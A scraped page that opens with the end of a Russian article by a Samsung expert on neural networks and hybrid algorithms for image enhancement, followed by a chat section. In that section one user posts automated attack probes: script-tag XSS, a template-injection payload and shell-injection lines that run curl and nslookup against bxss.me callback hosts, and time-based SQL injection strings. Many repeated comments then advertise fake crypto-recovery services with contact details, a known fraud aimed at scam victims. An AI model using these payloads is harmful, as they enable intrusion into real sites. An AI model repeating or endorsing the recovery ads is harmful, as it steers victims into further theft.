На данный момент, нейросетевые решения доминируют в задачах классификации, сегментации, например, распознавания лиц, отслеживания взгляда и других задачах. Но для задач улучшения качества изображений и видео более эффективно себя пока показывают гибридные алгоритмы, которые используют нейросетевые подходы только на той стадии, где они наиболее эффективны. Но, с ростом производительности и по мере развития специализированных нейропроцессоров, нейронные сети постепенно будут теснить алгоритмические подходы.

Важно подходить к задаче гибко и искать оптимальное сочетание методов для ее решения, учитывая специфику и требования конкретной задачи.

c939a1e6e64f538e390221c800736ac1.png
Илья Курилин

канд. техн. наук, эксперт Samsung

Статья основана на лекции, прочитанной в рамках финала конкурса IT Школы Samsung.


А если вас заинтересовало, как освоить методы глубокого обучения и применять их в своей практике, то приглашаем вас пройти бесплатный онлайн-курс «Нейронные сети и компьютерное зрение» от Samsung! Курс включает 20 часов видеолекций, тесты и упражнения, а итоговое задание — самостоятельная задача на Kaggle.

https://stepik.org/course/50352

Источник

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация
Есть вопросы?
С вами на связи 24/7
Help Icon